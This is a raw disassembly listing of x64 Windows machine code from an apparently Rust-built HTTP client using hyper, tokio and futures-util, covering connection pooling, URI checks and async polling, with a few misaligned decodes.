movups xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movdqu xmm2, xmmword [r14 + 0x20]
movdqu xmm3, xmmword [r14 + 0x30]
movups xmmword [rsp + 0x400], xmm0
movdqu xmmword [rsp + 0x410], xmm1
movdqu xmmword [rsp + 0x420], xmm2
movdqu xmmword [rsp + 0x430], xmm3
movups xmm0, xmmword [r14 + 0x40]
movups xmmword [rsp + 0x440], xmm0
movups xmm0, xmmword [r14 + 0x50]
movups xmmword [rsp + 0x450], xmm0
movups xmm0, xmmword [r14 + 0x60]
movups xmmword [rsp + 0x460], xmm0
mov rax, qword [r14 + 0x70]
mov qword [rsp + 0x470], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006183b
test eax, eax
jne 0x140062707
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x1400624a1
inc rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rsi, qword [rcx + 0xd8]
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x3f0]
mov r8d, 0x88
call fcn.140106530
cmp rsi, 2
je 0x1400625d4
mov rax, qword [rsp + 0x120]
movups xmm0, xmmword [rsp + 0x198]
movaps xmmword [rsp + 0x670], xmm0
movups xmm0, xmmword [rsp + 0x188]
movaps xmmword [rsp + 0x660], xmm0
movups xmm0, xmmword [rsp + 0x178]
movaps xmmword [rsp + 0x650], xmm0
movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x640], xmm0
movups xmm0, xmmword [rsp + 0x158]
movaps xmmword [rsp + 0x630], xmm0
movups xmm0, xmmword [rsp + 0x148]
movaps xmmword [rsp + 0x620], xmm0
movups xmm0, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0x610], xmm0
movups xmm0, xmmword [rsp + 0x128]
movaps xmmword [rsp + 0x600], xmm0
mov r14, qword [rax]
test rsi, rsi
je 0x140061e25
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14005cae1.2
movzx eax, byte [0x140182310]
mov edx, 0x180
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062563
mov rdx, rax
and rdx, 0xffffffffffffff80
lea rsi, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rcx, [rbx + 0x68]
mov qword [rdx + 0x80], 0xcc
mov qword [rdx + 0x88], 0
lea rax, [0x140141c28]
mov qword [rdx + 0x90], rax
mov qword [rdx + 0x98], 0
mov qword [rdx + 0xa0], rbx
mov qword [rdx + 0xa8], r14
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmm1, xmmword [rsp + 0x610]
movdqa xmm2, xmmword [rsp + 0x620]
movdqa xmm3, xmmword [rsp + 0x630]
movups xmmword [rdx + 0xb0], xmm0
movdqu xmmword [rdx + 0xc0], xmm1
movdqu xmmword [rdx + 0xd0], xmm2
movdqu xmmword [rdx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x640]
movups xmmword [rdx + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x650]
movups xmmword [rdx + 0x100], xmm0
movaps xmm0, xmmword [rsp + 0x660]
movups xmmword [rdx + 0x110], xmm0
movdqa xmm0, xmmword [rsp + 0x670]
movdqu xmmword [rdx + 0x120], xmm0
pxor xmm0, xmm0
movdqa xmmword [rdx + 0x130], xmm0
mov qword [rdx + 0x140], 0
jmp 0x140061dfa
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x1160], rax
lea rax, [rsp + 0x1160]
mov qword [rsp + 0x3f0], rax
movups xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movdqu xmm2, xmmword [r14 + 0x20]
movdqu xmm3, xmmword [r14 + 0x30]
movups xmmword [rsp + 0x3f8], xmm0
movdqu xmmword [rsp + 0x408], xmm1
movdqu xmmword [rsp + 0x418], xmm2
movdqu xmmword [rsp + 0x428], xmm3
movups xmm0, xmmword [r14 + 0x40]
movups xmmword [rsp + 0x438], xmm0
movups xmm0, xmmword [r14 + 0x50]
movups xmmword [rsp + 0x448], xmm0
movups xmm0, xmmword [r14 + 0x60]
movups xmmword [rsp + 0x458], xmm0
mov rax, qword [r14 + 0x70]
mov qword [rsp + 0x468], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140061b5a
test eax, eax
jne 0x140062794
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x1400624a1
lea rcx, [rax + 1]
mov edx, dword [0x140182314]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0xd0], rcx
mov rcx, qword [rdx + 0xd8]
movups xmm0, xmmword [rsp + 0x460]
movaps xmmword [rsp + 0x190], xmm0
movups xmm0, xmmword [rsp + 0x450]
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [rsp + 0x440]
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [rsp + 0x430]
movaps xmmword [rsp + 0x160], xmm0
movups xmm0, xmmword [rsp + 0x3f0]
movdqu xmm1, xmmword [rsp + 0x400]
movdqu xmm2, xmmword [rsp + 0x410]
movdqu xmm3, xmmword [rsp + 0x420]
movdqa xmmword [rsp + 0x150], xmm3
movdqa xmmword [rsp + 0x140], xmm2
movdqa xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
cmp rcx, 2
je 0x140062664
mov rax, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x198]
mov qword [rsp + 0x670], rdx
movups xmm0, xmmword [rsp + 0x188]
movaps xmmword [rsp + 0x660], xmm0
movups xmm0, xmmword [rsp + 0x178]
movaps xmmword [rsp + 0x650], xmm0
movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x640], xmm0
movups xmm0, xmmword [rsp + 0x158]
movaps xmmword [rsp + 0x630], xmm0
movups xmm0, xmmword [rsp + 0x148]
movaps xmmword [rsp + 0x620], xmm0
movups xmm0, xmmword [rsp + 0x138]
movaps xmmword [rsp + 0x610], xmm0
movups xmm0, xmmword [rsp + 0x128]
movaps xmmword [rsp + 0x600], xmm0
mov r14, qword [rax]
test rcx, rcx
je 0x140061f54
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14005cae1.2
movzx eax, byte [0x140182310]
mov edx, 0x180
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062563
mov rdx, rax
and rdx, 0xffffffffffffff80
lea rsi, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rcx, [rbx + 0x68]
mov qword [rdx + 0x80], 0xcc
mov qword [rdx + 0x88], 0
lea rax, [0x140141a98]
mov qword [rdx + 0x90], rax
mov qword [rdx + 0x98], 0
mov qword [rdx + 0xa0], rbx
mov qword [rdx + 0xa8], r14
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmm1, xmmword [rsp + 0x610]
movdqa xmm2, xmmword [rsp + 0x620]
movdqa xmm3, xmmword [rsp + 0x630]
movups xmmword [rdx + 0xb0], xmm0
movdqu xmmword [rdx + 0xc0], xmm1
movdqu xmmword [rdx + 0xd0], xmm2
movdqu xmmword [rdx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x640]
movups xmmword [rdx + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x650]
movups xmmword [rdx + 0x100], xmm0
movdqa xmm0, xmmword [rsp + 0x660]
movdqu xmmword [rdx + 0x110], xmm0
mov rax, qword [rsp + 0x670]
mov qword [rdx + 0x120], rax
pxor xmm0, xmm0
movdqu xmmword [rdx + 0x128], xmm0
mov qword [rdx + 0x138], 0
mov rdx, rsi
mov r8, rsi
call fcn.1400654a0
test rax, rax
je 0x1400620b3
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400ec490
jmp 0x1400620b3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14005cae1.2
movzx eax, byte [0x140182310]
mov edx, 0x180
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062563
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rsi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, case.0x140065698.30
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], rbx
add rbx, 0x58
mov qword [rcx + 0xa8], r14
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmm1, xmmword [rsp + 0x610]
movdqa xmm2, xmmword [rsp + 0x620]
movdqa xmm3, xmmword [rsp + 0x630]
movups xmmword [rcx + 0xb0], xmm0
movdqu xmmword [rcx + 0xc0], xmm1
movdqu xmmword [rcx + 0xd0], xmm2
movdqu xmmword [rcx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x640]
movups xmmword [rcx + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x650]
movups xmmword [rcx + 0x100], xmm0
movaps xmm0, xmmword [rsp + 0x660]
movups xmmword [rcx + 0x110], xmm0
movdqa xmm0, xmmword [rsp + 0x670]
movdqu xmmword [rcx + 0x120], xmm0
pxor xmm0, xmm0
movdqa xmmword [rcx + 0x130], xmm0
mov qword [rcx + 0x140], 0
jmp 0x14006207e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x14005cae1.2
movzx eax, byte [0x140182310]
mov edx, 0x180
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140062563
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rsi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x140141e08]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], rbx
add rbx, 0x58
mov qword [rcx + 0xa8], r14
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmm1, xmmword [rsp + 0x610]
movdqa xmm2, xmmword [rsp + 0x620]
movdqa xmm3, xmmword [rsp + 0x630]
movups xmmword [rcx + 0xb0], xmm0
movdqu xmmword [rcx + 0xc0], xmm1
movdqu xmmword [rcx + 0xd0], xmm2
movdqu xmmword [rcx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x640]
movups xmmword [rcx + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x650]
movups xmmword [rcx + 0x100], xmm0
movdqa xmm0, xmmword [rsp + 0x660]
movdqu xmmword [rcx + 0x110], xmm0
mov rax, qword [rsp + 0x670]
mov qword [rcx + 0x120], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x128], xmm0
mov qword [rcx + 0x138], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, rbx
mov rdx, rsi
mov r8, rsi
call fcn.1400654a0
test rax, rax
je 0x1400620b3
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eaa70
mov eax, dword [0x140182314]
add eax, 0x12025b
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rsi], rcx
je 0x1400611de
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
jmp 0x1400611de
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov rcx, r11
call fcn.1401085b0
ud2
lea rcx, str.Flatten_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_future_flatten.rs
lea r8, [0x14013e498]
mov edx, 0x1f
call fcn.14010d200
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x36
call fcn.14010d200
mov qword [rsi], 1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.140108630
lea rcx, str.not_dropped
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0xb
call fcn.140108990
mov ecx, 8
mov edx, 0x20
call fcn.1401082c0
lea rcx, [0x140140d60]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
mov edx, 0x28
call fcn.14010d200
lea rcx, [0x140140d60]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
mov edx, 0x28
call fcn.14010d200
lea rcx, [rsp + 0x408]
mov rax, qword [rsp + 0x3f0]
mov rdx, qword [rsp + 0x3f8]
mov r8, qword [rsp + 0x400]
call qword [rax + 0x10]
movaps xmm0, xmmword [rsp + 0x3f0]
movdqa xmm1, xmmword [rsp + 0x400]
movdqa xmm2, xmmword [rsp + 0x410]
movdqa xmm3, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0x600], xmm0
movdqa xmmword [rsp + 0x610], xmm1
movdqa xmmword [rsp + 0x620], xmm2
movdqa xmmword [rsp + 0x630], xmm3
movdqa xmm0, xmmword [rsp + 0x430]
movdqa xmmword [rsp + 0x640], xmm0
mov rax, qword [rsp + 0x43d]
mov qword [rsp + 0x64d], rax
mov r14d, ebp
jmp 0x140062305
mov ecx, 1
mov edx, 1
call fcn.1401082a0
cmp esi, 3
ja 0x1400623bf
cmp esi, 2
je 0x1400623bf
mov rax, qword [rsp + 0x130]
test rax, rax
jne 0x1400623f4
mov rax, qword [rsp + 0x150]
test rax, rax
je 0x140062295
lea rcx, [rsp + 0x168]
mov rdx, qword [rsp + 0x158]
mov r8, qword [rsp + 0x160]
call qword [rax + 0x10]
movaps xmm0, xmmword [rsp + 0x3f0]
movdqa xmm1, xmmword [rsp + 0x400]
movdqa xmm2, xmmword [rsp + 0x410]
movdqa xmm3, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0x600], xmm0
movdqa xmmword [rsp + 0x610], xmm1
movdqa xmmword [rsp + 0x620], xmm2
movdqa xmmword [rsp + 0x630], xmm3
movdqa xmm0, xmmword [rsp + 0x430]
movdqa xmmword [rsp + 0x640], xmm0
mov rax, qword [rsp + 0x43d]
mov qword [rsp + 0x64d], rax
mov r13b, 2
jmp 0x140062305
mov r13b, 3
mov byte [rsp + 0x120], r13b
mov byte [rsp + 0x121], r14b
lea rax, [0x14012cfc0]
mov qword [rsp + 0x20], rax
lea rcx, str.domain_is_valid_Uri
lea r9, [0x14012b638]
lea r8, [rsp + 0x120]
mov edx, 0x13
call fcn.1401088e0
lea rcx, str.cannot_poll_Select_twiceC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_select.rs
lea r8, [0x1401430c0]
mov edx, 0x18
call fcn.140108990
lea rcx, str.not_dropped
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0xb
call fcn.140108990
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, [0x1401430d8]
mov edx, 0x28
call fcn.140108630
lea rcx, str.Ready_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x140142db8]
mov edx, 0x1d
call fcn.140108990
mov ecx, 8
mov edx, 0x140
call fcn.1401082c0
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x130]
test rax, rax
je 0x14006226d
lea rcx, [rsp + 0x148]
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x150]
test rax, rax
jne 0x14006227a
jmp 0x140062295
mov rax, qword [rsp + 0x600]
test rax, rax
je 0x140062445
lea rcx, [rsp + 0x618]
mov edx, 0x26
xor r8d, r8d
call qword [rax + 0x10]
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
jmp 0x14006246d
lea rcx, str.authority_implies_host
lea r8, [0x1401410b8]
mov edx, 0x16
call fcn.140108990
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013f8e8]
lea r8, [rsp + 0xfa0]
mov edx, 0x17
call fcn.1401088e0
mov ecx, 8
mov edx, 0x1b8
call fcn.1401082c0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108880
mov ecx, 0x80
mov edx, 0x280
call fcn.1401082c0
mov rax, qword [rsp + 0x120]
lea rcx, [rax - 9]
cmp rcx, 2
jb 0x1400627ca
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x140062590
test rcx, rcx
jne 0x1400627ca
lea rcx, [rsp + 0x128]
call fcn.1400646d0
jmp 0x1400627ca
mov ecx, 8
mov edx, 0x48
call fcn.1401082c0
mov ecx, 0x80
mov edx, 0x100
call fcn.1401082c0
mov ecx, 8
mov edx, 0x80
call fcn.1401082c0
mov ecx, 8
mov edx, 0x78
call fcn.1401082c0
cmp eax, 5
jne 0x1400626f5
lea rcx, [rsp + 0x128]
movzx eax, byte [rsp + 0x198]
cmp eax, 2
je 0x1400627c5
cmp eax, 3
je 0x1400627ca
mov ecx, 8
mov edx, 0x10
call fcn.1401082c0
cmp byte [rsp + 0x1a0], 2
je 0x1400627ca
lea rcx, [rsp + 0x130]
call fcn.140064ab0
mov rsi, qword [rsp + 0x128]
mov bl, 1
mov al, 1
xchg byte [rsi + 0x40], al
mov al, 1
xchg byte [rsi + 0x20], al
test al, al
jne 0x140062624
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
mov qword [rsi + 0x10], 0
xor edx, edx
xchg byte [rsi + 0x20], dl
test rax, rax
je 0x140062624
call qword [rax + 8]
xchg byte [rsi + 0x38], bl
test bl, bl
jne 0x140062648
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rax, rax
je 0x140062643
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x38], al
lock dec qword [rsi]
jne 0x1400627ca
mov rcx, qword [rsp + 0x128]
call fcn.140034b00
jmp 0x1400627ca
cmp byte [rsp + 0x198], 2
je 0x140062698
lea rcx, [rsp + 0x128]
call fcn.140064ab0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
dec rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
jmp 0x1400627e4
mov ecx, 7
int 0x29
ud2
lea rcx, [rsp + 0x120]
call fcn.140064820
jmp 0x1400627ca
cmp byte [rsp + 0x470], 2
je 0x140062806
lea rcx, [rsp + 0x400]
call fcn.140064ab0
mov rsi, qword [rsp + 0x3f8]
mov bl, 1
mov al, 1
xchg byte [rsi + 0x40], al
mov al, 1
xchg byte [rsi + 0x20], al
test al, al
jne 0x140062757
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
mov qword [rsi + 0x10], 0
xor edx, edx
xchg byte [rsi + 0x20], dl
test rax, rax
je 0x140062757
call qword [rax + 8]
xchg byte [rsi + 0x38], bl
test bl, bl
jne 0x14006277b
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rax, rax
je 0x140062776
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x38], al
lock dec qword [rsi]
jne 0x140062806
mov rcx, qword [rsp + 0x3f8]
call fcn.140034b00
jmp 0x140062806
cmp byte [rsp + 0x468], 2
je 0x140062806
lea rcx, [rsp + 0x3f8]
call fcn.140064ab0
jmp 0x140062806
mov ecx, 7
int 0x29
ud2
call fcn.140035b40
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0x120], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x120]
call fcn.14010dd60
call fcn.140035b40
mov al, 1
mov byte [rsp + 0x120], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x120]
call fcn.14010dd60
int3
movdqu xmm2, xmmword [r13 + r11]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
test r10d, r10d
mov qword [rsp + 0xc8], rcx
jne 0x14006339b
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
jne 0x140063bc3
add r11, rcx
add r11, 0x10
add rcx, 0x10
and r11, rdi
jmp 0x14006332a
cmp eax, 1
je 0x140063440
test eax, eax
je 0x140064044
lea r10d, [rsi - 1]
and r10d, esi
test r10w, r10w
mov rdi, qword [rsp + 0x58]
mov rcx, qword [rsp + 0xc8]
je 0x14006334b
mov esi, r10d
tzcnt r10d, esi
add r10, r11
and r10, rdi
neg r10
lea r10, [r10 + r10*4]
shl r10, 4
loop 0x1400633b8
loop 0x1400633b8
lea r14, [r10 + r13]
movzx r10d, byte [r13 + r10 - 0x50]
cmp r10d, 1
je 0x140063370
cmp r10d, 2
jne 0x140064044
cmp eax, 2
jne 0x140063379
mov r10, qword [r14 - 0x48]
mov rbp, qword [r10 + 0x10]
mov rcx, qword [rsp + 0x130]
cmp rbp, qword [rcx + 0x10]
jne 0x140063381
mov r10, qword [r10 + 8]
mov rcx, qword [rsp + 0x130]
mov rbx, qword [rcx + 8]
xor edi, edi
nop dword [rax + rax]
invalid
add byte [rax + 0x39], cl
std
cmp rbp, rdi
je 0x140063464
movzx r12d, byte [r10 + rdi]
movzx r15d, byte [rbx + rdi]
inc rdi
lea edx, [r12 - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
lea ecx, [r15 - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or dl, r12b
or cl, r15b
cmp dl, cl
je 0x140063400
jmp 0x140063381
dec dword [rdi]
invalid
cmp byte [r14 - 0x4f], 0
je 0x140063456
cmp byte [rsp + 0xe0], 0
jne 0x140063464
jmp 0x140063381
cmp byte [rsp + 0xe0], 0
jne 0x140063381
cmp qword [r14 - 0x30], r9
jne 0x140063381
mov r10, qword [r14 - 0x38]
xor edi, edi
nop word cs:[rax + rax]
cmp r9, rdi
je 0x1400634bc
movzx ecx, byte [r10 + rdi]
movzx edx, byte [r8 + rdi]
mov dh, 0x14
cmp byte [rax - 1], cl
invalid
lea ebx, [rcx - 0x41]
cmp bl, 0x1a
setb bl
shl bl, 5
lea ebp, [rdx - 0x41]
cmp bpl, 0x1a
setb bpl
shl bpl, 5
or bl, cl
or bpl, dl
cmp bl, bpl
je 0x140063480
mov dh, 0x14
cmp byte [rax - 1], cl
invalid
jmp 0x140063381
movdqu xmm0, xmmword [rsp + 0x60]
movdqu xmm1, xmmword [rsp + 0x70]
movdqu xmm2, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x110], xmm2
movdqa xmmword [rsp + 0x100], xmm1
movdqa xmmword [rsp + 0xf0], xmm0
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x80], xmm2
movdqa xmmword [rsp + 0x70], xmm1
mov qword [rsp + 0x90], r14
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x98], rax
movzx eax, byte [rsp + 0x60]
cmp al, 3
mov rsi, qword [rsp + 0x30]
mov bpl, 1
mov r15, qword [rsp + 0xd8]
je 0x140063580
cmp al, 2
jb 0x140063563
mov r12, qword [rsp + 0x68]
lea rcx, [r12 + 0x18]
mov rax, qword [r12]
mov rdx, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x88]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [rax + 0x10]
mov rcx, qword [r14 - 0x20]
mov rax, qword [r14 - 8]
cmp rax, rcx
jne 0x14006359e
lea rcx, [r14 - 0x20]
call fcn.140046420
mov rcx, qword [r14 - 0x20]
mov rax, qword [r14 - 8]
mov rdx, qword [r14 - 0x10]
add rdx, rax
xor r8d, r8d
ror byte [rax + 0x39], 0xca
ror byte [rax + 0x39], 0xca
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [r14 - 0x18]
mov qword [rcx + rdx*8], r15
inc rax
mov qword [r14 - 8], rax
movzx eax, byte [r15 + 0x80]
test al, al
mov r14, qword [rsp + 0xe8]
jne 0x140063714
mov rax, qword [rsp + 0x138]
mov rax, qword [rax]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov cl, 1
xchg byte [r15 + 0x60], cl
test cl, cl
je 0x1400636d4
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
sar edi, 1
push rax
sbb cl, ch
invalid
mov rcx, rdx
call qword [rax + 0x18]
jmp 0x140063714
cmp al, 0x88
test byte [rax + rdx*2], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xdd819
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fac8]
lea r8, [rsp + 0x148]
mov edx, 0x2b
call fcn.1401088e0
mov r8, qword [r15 + 0x50]
test r8, r8
je 0x1400636f6
mov rcx, qword [r15 + 0x58]
mov rsi, rax
mov rdi, rdx
call qword [r8 + 0x18]
mov rdx, rdi
mov rax, rsi
mov rsi, qword [rsp + 0x30]
mov qword [r15 + 0x50], rax
mov qword [r15 + 0x58], rdx
xor eax, eax
xchg byte [r15 + 0x60], al
movzx eax, byte [r15 + 0x80]
test al, al
je 0x140063796
mov al, 1
xchg byte [r15 + 0x48], al
test al, al
jne 0x140064082
movzx eax, byte [r15 + 0x41]
mov byte [r15 + 0x41], 2
cmp al, 2
je 0x14006407c
mov rcx, r15
add rcx, 0x10
movzx edx, byte [rcx + 0x30]
mov byte [rsp + 0x90], dl
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0x80], xmm2
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x91], al
mov ecx, dword [r15 + 0x42]
mov dword [rsp + 0x92], ecx
movzx ecx, word [r15 + 0x46]
mov word [rsp + 0x96], cx
xor ecx, ecx
xchg byte [r15 + 0x48], cl
cmp al, 3
jne 0x14006408a
mov rdi, rsi
mov rsi, qword [rsi + 0x38]
test rsi, rsi
je 0x14006380a
mov bl, 1
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x1400637d2
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
xor edx, edx
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x1400637d2
call qword [rax + 0x18]
